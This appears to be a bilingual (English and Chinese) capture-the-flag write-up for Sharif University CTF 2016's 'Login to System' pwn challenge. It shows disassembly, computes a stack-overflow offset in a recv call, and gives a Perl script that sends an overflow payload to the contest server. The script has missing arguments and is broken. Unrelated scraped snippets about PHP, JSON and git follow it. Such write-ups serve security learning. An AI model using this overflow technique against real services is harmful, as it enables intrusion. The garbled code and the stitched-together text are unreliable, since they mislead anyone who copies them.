EN:

It's easy to find out where is the bug :

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

when call the function recv(.text:0000000000400F50  ) , if the buf to large it will overwrite the stack rbp+var_20.

seeing the stack sataic:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

we can calculate out the length of buf:

haystack - var_20 = 0x430-0x20=0x410 = 1040

send content: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

the max length of the buf:

haystack - fd = 0x430 - 0x8 =1064

send contend can be: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;

CN:

用IDA的要Question, 很容易找到有问题的地方,

.text:0000000000400DE4 ; void *start_routine(void *)
.text:0000000000400DE4 start_routine   proc near               ; DATA XREF: sub_401182+C8o

...

.text:0000000000400F3B                 lea     rcx, [rbp+haystack]
.text:0000000000400F42                 lea     rsi, [rcx+rax]  ; buf
.text:0000000000400F46                 mov     eax, [rbp+fd]
.text:0000000000400F49                 mov     ecx, 0          ; flags
.text:0000000000400F4E                 mov     edi, eax        ; fd
.text:0000000000400F50                 call    _recv

...

.text:0000000000400F91                 lea     rax, [rbp+var_20]
.text:0000000000400F95                 movzx   eax, byte ptr [rax]
.text:0000000000400F98                 cmp     al, 1

里recv,超长的会把rbp+var_20翻盖掉,再看栈区:

.text:0000000000400DE4 haystack        = byte ptr -430h
.text:0000000000400DE4 s               = byte ptr -330h
.text:0000000000400DE4 var_230         = byte ptr -230h
.text:0000000000400DE4 var_28          = qword ptr -28h
.text:0000000000400DE4 var_20          = qword ptr -20h
.text:0000000000400DE4 src             = qword ptr -18h
.text:0000000000400DE4 var_10          = qword ptr -10h
.text:0000000000400DE4 fd              = dword ptr -8
.text:0000000000400DE4 var_4           = dword ptr -4

从栈区可以计算出 buf的长度。

haystack - var_20 = 0x430-0x20=0x410 = 1040

发送的内容应该是: (?)x 1040 . \x01. "\n"

"\x01" x 1041 . "\n";

发送的内容buf最长可以是:

haystack - fd = 0x430 - 0x8 =1064

发送的内容应该是: (?)x 1040 . \x01. (?) x22 "\n"

"\x01" x 1063 . "\n";

#!/usr/bin/perl -w
use Socket;
#ip address of ctf.sharif.edu
my $ip="ctf.sharif.edu";
my $port="27515";
my $dest=sockaddr_in($port,inet_aton($ip));
my $buf=undef;
socket(SOCK,PF_INET,SOCK_STREAM,) or die "Can't create socket: $!";
connect(SOCK,$dest) or die "Can't connect: $!";
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
send SOCK,"hi\n",;
sysread(SOCK, $buf, ); # try to read 2048
#print $buf;
#"\x01" x [1041..1063]
send SOCK,"\x01" x . "\n",;
sysread(SOCK, $buf, ); # try to read 2048
print $buf;
close SOCK;

Sharif University CTF 2016 -- Login to System (PWN 200)的更多相关文章

  1. Sharif University CTF 2016 -- Android App

    很多种的方案: 方案 A: 直接逆向读代码方案 B: 解包,加入debug信息,重新打包,动态调试方案 C: 解包,改代码加入log.i整出flag, 去掉MainActivity里面d=什么也可以, ...

  2. Sharif University CTF 2016 - Smooth As Silk

    Category: Crypto Points: 200 Solves: 11 Description: p > q n = p*q = 1146153281852525177586999436 ...

  3. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  6. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  7. CTF必备技能丨Linux Pwn入门教程——调整栈帧的技巧

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  8. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  9. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

随机推荐

  1. php 构造函数格式,具体该怎么写?应该注意什么呢?

    在PHP里,如果你没有手写构造函数,则php在实例化这个对象的时候,会自动为类成员以及类方法进行初始化,分配内存等工作,但是有些时候不能满足我们的要求,比如我们要在对象实例化的时候传递参数,那么就需要 ...

  2. json格式的日期格式化

    function formatterdate(val) { if (val != null) { var re = /-?\d+/; var m = re.exec(val); var date = ...

  3. <页面里折合与打开>

    主要思想是:通过覆盖,显示的方式.visible 为 true与false,id以及function函数中参数的不同. 具体代码如下: <script type="text/javas ...

  4. 强大的commons

    在此之前对commons包了解的不多,最常用的就是StringUtils.isBlack(str)来取代if(str !=null && str.lenght()>1)的判断,昨 ...

  5. 3、NASA NIST Big Data Architecture

    这篇关于大数据应用的讲解太好了,直接上图.Mattmann_S1P8_ESTF2015 来自为知笔记(Wiz)

  6. 使用U盘安装win7系统

    --------------------------------------------------- 步骤1:制作可启动U盘(如果已经有可启动U盘则直接跳到步骤2) 1.下载系统镜像,请百度搜索“w ...

  7. wxWidgets编译安装gtk问题的解决办法

    下面是google到的一篇博文.我在centos5.3中想安装amule,结果编译时,提示没找到wxWidgets退出了.只好又去下了wxWidgets,还是源码,需要编译.编译中出现和下面这位网友一 ...

  8. express 快速教程

    阅读 express 官方文档的记录. hello world example var express = require('express') var app = express() app.get ...

  9. 从request获取远程IP地址

    public static String getIpAddr(HttpServletRequest request) { String ip = request.getHeader("X-F ...

  10. git Could not read from remote repository 解决

    错误: fatal: 'origin' does not appear to be a git repository fatal: Could not read from remote reposit ...